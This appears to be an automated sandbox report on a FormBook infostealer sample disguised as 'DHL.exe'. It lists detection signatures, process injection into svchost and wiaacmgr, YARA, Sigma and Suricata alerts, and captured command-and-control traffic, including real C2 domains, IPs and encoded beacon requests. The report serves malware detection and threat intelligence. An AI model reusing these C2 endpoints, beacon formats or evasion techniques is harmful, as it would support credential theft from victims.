Edit tour

Windows Analysis Report
DHL.exe

Overview

General Information

Sample name:	DHL.exe
Analysis ID:	1576518
MD5:	12e3c1457416b5622f040f8e0edc0298
SHA1:	74a88947c14538bf6ba2dccdeed472820159dc2c
SHA256:	1a2f0649b6a928da703f8ab11ace25807dff07e0e5310f995b9acb378cd1c6a5
Tags:	DHLexeFormbookuser-abuse_ch
Infos:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected FormBook

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

Found API chain indicative of sandbox detection

Found direct / indirect Syscall (likely to bypass EDR)

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Performs DNS queries to domains with low reputation

Queues an APC in another process (thread injection)

Switches to a custom stack to bypass stack traces

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

Potential key logger detected (key state polling based)

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Uncommon Svchost Parent Process

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

DHL.exe (PID: 7488 cmdline: "C:\Users\user\Desktop\DHL.exe" MD5: 12E3C1457416B5622F040F8E0EDC0298)

svchost.exe (PID: 7580 cmdline: "C:\Users\user\Desktop\DHL.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)

eYHtcsfFquWF.exe (PID: 5260 cmdline: "C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

wiaacmgr.exe (PID: 7784 cmdline: "C:\Windows\SysWOW64\wiaacmgr.exe" MD5: 2F1D379CE47E920BDDD2C50214457E0F)

eYHtcsfFquWF.exe (PID: 5164 cmdline: "C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

firefox.exe (PID: 8020 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Formbook, Formbo	FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.	SWEED Cobalt	http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/ http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html https://0xmrmagnezi.github.io/malware%20analysis/FormBook/ https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/	https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.2710446513.00000000045C0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000006.00000002.2712813686.0000000005030000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000005.00000002.2710629488.0000000004610000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000005.00000002.2700411137.0000000002850000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000002.00000002.1707823352.0000000003300000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000002.00000002.1707521744.0000000000400000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000002.00000002.1708319650.0000000004B50000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000004.00000002.2709918624.0000000003CB0000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.2.svchost.exe.400000.0.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
2.2.svchost.exe.400000.0.raw.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security

Sigma Signatures

System Summary

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\Desktop\DHL.exe", CommandLine: "C:\Users\user\Desktop\DHL.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\DHL.exe", ParentImage: C:\Users\user\Desktop\DHL.exe, ParentProcessId: 7488, ParentProcessName: DHL.exe, ProcessCommandLine: "C:\Users\user\Desktop\DHL.exe", ProcessId: 7580, ProcessName: svchost.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: "C:\Users\user\Desktop\DHL.exe", CommandLine: "C:\Users\user\Desktop\DHL.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\DHL.exe", ParentImage: C:\Users\user\Desktop\DHL.exe, ParentProcessId: 7488, ParentProcessName: DHL.exe, ProcessCommandLine: "C:\Users\user\Desktop\DHL.exe", ProcessId: 7580, ProcessName: svchost.exe

Suricata Signatures

ETPRO MALWARE FormBook CnC Checkin (POST) M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T08:24:13.599131+0100	2855464	1	A Network Trojan was detected	192.168.2.8	49709	185.199.110.153	80	TCP
2024-12-17T08:24:16.358783+0100	2855464	1	A Network Trojan was detected	192.168.2.8	49710	185.199.110.153	80	TCP
2024-12-17T08:24:19.108224+0100	2855464	1	A Network Trojan was detected	192.168.2.8	49711	185.199.110.153	80	TCP
2024-12-17T08:24:28.902939+0100	2855464	1	A Network Trojan was detected	192.168.2.8	49713	104.21.48.233	80	TCP
2024-12-17T08:24:31.494241+0100	2855464	1	A Network Trojan was detected	192.168.2.8	49714	104.21.48.233	80	TCP
2024-12-17T08:24:34.406390+0100	2855464	1	A Network Trojan was detected	192.168.2.8	49715	104.21.48.233	80	TCP
2024-12-17T08:24:44.111502+0100	2855464	1	A Network Trojan was detected	192.168.2.8	49719	199.59.243.227	80	TCP
2024-12-17T08:24:46.802876+0100	2855464	1	A Network Trojan was detected	192.168.2.8	49720	199.59.243.227	80	TCP
2024-12-17T08:24:49.495303+0100	2855464	1	A Network Trojan was detected	192.168.2.8	49721	199.59.243.227	80	TCP
2024-12-17T08:24:59.858741+0100	2855464	1	A Network Trojan was detected	192.168.2.8	49723	8.136.96.106	80	TCP
2024-12-17T08:25:02.518436+0100	2855464	1	A Network Trojan was detected	192.168.2.8	49724	8.136.96.106	80	TCP
2024-12-17T08:25:05.230535+0100	2855464	1	A Network Trojan was detected	192.168.2.8	49725	8.136.96.106	80	TCP
2024-12-17T08:25:14.760146+0100	2855464	1	A Network Trojan was detected	192.168.2.8	49727	69.57.163.64	80	TCP
2024-12-17T08:25:17.424909+0100	2855464	1	A Network Trojan was detected	192.168.2.8	49728	69.57.163.64	80	TCP
2024-12-17T08:25:20.112516+0100	2855464	1	A Network Trojan was detected	192.168.2.8	49729	69.57.163.64	80	TCP

ETPRO MALWARE FormBook CnC Checkin (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T08:24:31.494241+0100	2856318	1	A Network Trojan was detected	192.168.2.8	49714	104.21.48.233	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: DHL.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: DHL.exe	Virustotal: Detection: 29%			Perma Link
Source: DHL.exe	ReversingLabs: Detection: 42%

Yara detected FormBook

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2710446513.00000000045C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2712813686.0000000005030000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2710629488.0000000004610000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2700411137.0000000002850000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1707823352.0000000003300000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1707521744.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1708319650.0000000004B50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2709918624.0000000003CB0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: DHL.exe

Joe Sandbox ML: detected

Source: DHL.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: eYHtcsfFquWF.exe, 00000004.00000002.2700431435.000000000012E000.00000002.00000001.01000000.00000005.sdmp, eYHtcsfFquWF.exe, 00000006.00000002.2700413450.000000000012E000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: DHL.exe, 00000000.00000003.1463417563.0000000003690000.00000004.00001000.00020000.00000000.sdmp, DHL.exe, 00000000.00000003.1462103943.0000000003170000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1707862463.0000000003400000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1609031075.0000000003000000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1707862463.000000000359E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1611529786.0000000003200000.00000004.00000020.00020000.00000000.sdmp, wiaacmgr.exe, 00000005.00000003.1707826366.00000000044CC000.00000004.00000020.00020000.00000000.sdmp, wiaacmgr.exe, 00000005.00000002.2711323024.0000000004850000.00000040.00001000.00020000.00000000.sdmp, wiaacmgr.exe, 00000005.00000002.2711323024.00000000049EE000.00000040.00001000.00020000.00000000.sdmp, wiaacmgr.exe, 00000005.00000003.1710157325.000000000469F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: DHL.exe, 00000000.00000003.1463417563.0000000003690000.00000004.00001000.00020000.00000000.sdmp, DHL.exe, 00000000.00000003.1462103943.0000000003170000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000002.1707862463.0000000003400000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1609031075.0000000003000000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1707862463.000000000359E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1611529786.0000000003200000.00000004.00000020.00020000.00000000.sdmp, wiaacmgr.exe, wiaacmgr.exe, 00000005.00000003.1707826366.00000000044CC000.00000004.00000020.00020000.00000000.sdmp, wiaacmgr.exe, 00000005.00000002.2711323024.0000000004850000.00000040.00001000.00020000.00000000.sdmp, wiaacmgr.exe, 00000005.00000002.2711323024.00000000049EE000.00000040.00001000.00020000.00000000.sdmp, wiaacmgr.exe, 00000005.00000003.1710157325.000000000469F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wiaacmgr.pdbGCTL source: svchost.exe, 00000002.00000003.1674473037.0000000002E1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1674557677.0000000002E2E000.00000004.00000020.00020000.00000000.sdmp, eYHtcsfFquWF.exe, 00000004.00000002.2708173284.0000000000B78000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wiaacmgr.pdb source: svchost.exe, 00000002.00000003.1674473037.0000000002E1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1674557677.0000000002E2E000.00000004.00000020.00020000.00000000.sdmp, eYHtcsfFquWF.exe, 00000004.00000002.2708173284.0000000000B78000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: wiaacmgr.exe, 00000005.00000002.2701656661.0000000002A2E000.00000004.00000020.00020000.00000000.sdmp, wiaacmgr.exe, 00000005.00000002.2712106181.0000000004E7C000.00000004.10000000.00040000.00000000.sdmp, eYHtcsfFquWF.exe, 00000006.00000000.1781779621.0000000002BFC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000A.00000002.2008088065.0000000038AAC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: wiaacmgr.exe, 00000005.00000002.2701656661.0000000002A2E000.00000004.00000020.00020000.00000000.sdmp, wiaacmgr.exe, 00000005.00000002.2712106181.0000000004E7C000.00000004.10000000.00040000.00000000.sdmp, eYHtcsfFquWF.exe, 00000006.00000000.1781779621.0000000002BFC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000A.00000002.2008088065.0000000038AAC000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_00A0DBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00A0DBBE
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_009DC2A2 FindFirstFileExW,	0_2_009DC2A2
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_00A168EE FindFirstFileW,FindClose,	0_2_00A168EE
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_00A1698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	0_2_00A1698F
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_00A0D076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00A0D076
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_00A0D3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00A0D3A9
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_00A19642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00A19642
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_00A1979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00A1979D
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_00A19B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00A19B2B
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_00A15C97 FindFirstFileW,FindNextFileW,FindClose,	0_2_00A15C97
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0286C9D0 FindFirstFileW,FindNextFileW,FindClose,	5_2_0286C9D0

Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 4x nop then xor eax, eax	5_2_02859E50
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 4x nop then pop edi	5_2_0285E59E
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 4x nop then mov ebx, 00000004h	5_2_047404E8

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49714 -> 104.21.48.233:80
Source: Network traffic	Suricata IDS: 2856318 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M4 : 192.168.2.8:49714 -> 104.21.48.233:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49709 -> 185.199.110.153:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49710 -> 185.199.110.153:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49725 -> 8.136.96.106:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49727 -> 69.57.163.64:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49728 -> 69.57.163.64:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49711 -> 185.199.110.153:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49715 -> 104.21.48.233:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49721 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49729 -> 69.57.163.64:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49720 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49719 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49724 -> 8.136.96.106:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49713 -> 104.21.48.233:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49723 -> 8.136.96.106:80

Performs DNS queries to domains with low reputation

Source:	DNS query: www.juewucangku.xyz
Source:	DNS query: www.juewucangku.xyz
Source:	DNS query: www.startsomething.xyz

Source: Joe Sandbox View

IP Address: 199.59.243.227 199.59.243.227

Source: Joe Sandbox View	ASN Name: CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd
Source: Joe Sandbox View	ASN Name: FORTRESSITXUS FORTRESSITXUS

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\DHL.exe

Code function: 0_2_00A1CE44 InternetReadFile,SetEvent,GetLastError,SetEvent,

0_2_00A1CE44

Source: global traffic	HTTP traffic detected: GET /3e00/?rPh=vcWi2Nuzfs8bFUYEQnXoBGbuOVlE2i7vXXwcNv5UqJ4W+nqlyarjJ+7bYKIWgHEnmSKdgKCrspLX0t5o9qCKhlhB0ucBfa9KdBCtjbE5oHHxOp6OdcL90Ef3I2JAzosFGA==&kVvpD=Bx4T HTTP/1.1Host: www.goldbracelet.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 ( .NET CLR 3.5.30729)
Source: global traffic	HTTP traffic detected: GET /k3hn/?rPh=dZddn2QnmIt3Z4tuH0E3g34XkYAItSNhr8Xg5sy2kai1E7eSB/izKfIU3bxH1QSpc7GJ9Hdmeil28QjfyJs81mcvpy2JTiV0mNzD6MbLs+vdIgTAzo2XEDLCKFuL/iGeag==&kVvpD=Bx4T HTTP/1.1Host: www.pku-cs-cjw.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 ( .NET CLR 3.5.30729)
Source: global traffic	HTTP traffic detected: GET /al74/?rPh=1Bjse4aauCmo97N7IjLs1t9/5DytV/tAUwTJU6u6E+Bhsof6UHxdy2RqbyRgtbt7gLKPghU8oqnr4otrEVDu/SUiQI/oGzb8PpnvlDT2bJ+R5Sn1ObiYbGTGLsy9HRXwDQ==&kVvpD=Bx4T HTTP/1.1Host: www.ausyva4.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 ( .NET CLR 3.5.30729)
Source: global traffic	HTTP traffic detected: GET /cfcv/?rPh=yFDcd28s49uqEHKp5gxZDHehDMkbx8O5HFlFfS4Td0kedo/+sd9J73ZTBpR3wC1xC+DY+jWyDKbAELqR1mf/RFpqWmAJN7Naqf7NuMxlktjiSvXKA5GjZW5lR8Lr/Dnajw==&kVvpD=Bx4T HTTP/1.1Host: www.969-usedcar02.shopAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 ( .NET CLR 3.5.30729)
Source: global traffic	HTTP traffic detected: GET /b6bc/?rPh=xoBYbUYuit1npWAwAtyehE3iQkiUZWMjRZPyJ7i/hpkEutNt4jOTaw6JRAgW2lC4HeAxlwjpiSK9Zc7LnKUA0uykY2c1YtOuNjF0odUunu7vTTMkkGOdpFXJ3f6l6FBu5A==&kVvpD=Bx4T HTTP/1.1Host: www.juewucangku.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 ( .NET CLR 3.5.30729)
Source: global traffic	HTTP traffic detected: GET /9er8/?rPh=y0ZQaQGYytoPYKDdgLZSit2uqdIxJa9e7dCpW1aT2gUHtttnVaZ37Rd6tJxE+MMiCUIjuSyOnxmaU3U+fVZaaX16+D89AnEZm+xwCYUrhMUvMxACYJDUe5GKortKSbmbEQ==&kVvpD=Bx4T HTTP/1.1Host: www.startsomething.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 ( .NET CLR 3.5.30729)

Source: global traffic	DNS traffic detected: DNS query: www.goldbracelet.top
Source: global traffic	DNS traffic detected: DNS query: www.pku-cs-cjw.top
Source: global traffic	DNS traffic detected: DNS query: www.ausyva4.top
Source: global traffic	DNS traffic detected: DNS query: www.969-usedcar02.shop
Source: global traffic	DNS traffic detected: DNS query: www.juewucangku.xyz
Source: global traffic	DNS traffic detected: DNS query: www.startsomething.xyz
Source: global traffic	DNS traffic detected: DNS query: www.opro.vip

Source: unknown

HTTP traffic detected: POST /k3hn/ HTTP/1.1Host: www.pku-cs-cjw.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8Accept-Encoding: gzip, deflate, brAccept-Language: en-usContent-Type: application/x-www-form-urlencodedCache-Control: max-age=0Content-Length: 204Connection: closeOrigin: http://www.pku-cs-cjw.topReferer: http://www.pku-cs-cjw.top/k3hn/User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 ( .NET CLR 3.5.30729)Data Raw: 72 50 68 3d 51 62 31 39 6b 42 55 6f 6c 5a 5a 78 59 59 74 4a 4e 31 74 49 6c 58 39 39 6a 70 6f 64 70 32 42 55 7a 2b 6e 58 30 4d 79 4c 6e 62 33 33 4e 62 57 4a 42 4d 75 61 4b 64 73 4b 34 65 5a 79 2f 6a 47 49 54 6f 53 4b 78 67 55 64 55 52 56 48 7a 6b 6a 43 37 49 35 4f 72 47 45 6e 76 77 69 4e 4b 54 35 79 6f 37 6d 36 7a 74 6e 4b 7a 4a 47 49 46 51 32 55 72 34 69 42 4d 47 69 6c 61 77 43 42 78 31 33 74 4d 79 6e 59 72 6f 30 47 41 79 79 2f 54 56 39 59 62 61 42 50 49 42 74 49 76 35 4d 56 56 4d 63 35 51 6b 4a 5a 44 54 70 46 5a 72 35 72 30 39 42 78 37 30 66 2f 4c 48 4f 42 4e 69 46 36 45 79 6b 76 78 65 4e 4e 76 78 49 3d Data Ascii: rPh=Qb19kBUolZZxYYtJN1tIlX99jpodp2BUz+nX0MyLnb33NbWJBMuaKdsK4eZy/jGIToSKxgUdURVHzkjC7I5OrGEnvwiNKT5yo7m6ztnKzJGIFQ2Ur4iBMGilawCBx13tMynYro0GAyy/TV9YbaBPIBtIv5MVVMc5QkJZDTpFZr5r09Bx70f/LHOBNiF6EykvxeNNvxI=

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Tue, 17 Dec 2024 07:23:55 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6mWxFc3jlOg%2BYNF2eQSghdWdxAub%2BaemXWN69jXUCSYStI9a1MqFS0TCDLnIlE6vjkPrsB3zfff2TiTr8v6nXrtTfbHta%2FkIoGNTjOTGuDAY8kbcu1Mv0VyLy9N4d77mnqEJlvBMWQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8f352ba9cd0d8c0f-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1795&min_rtt=1795&rtt_var=897&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=469&delivery_rate=0&cwnd=218&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
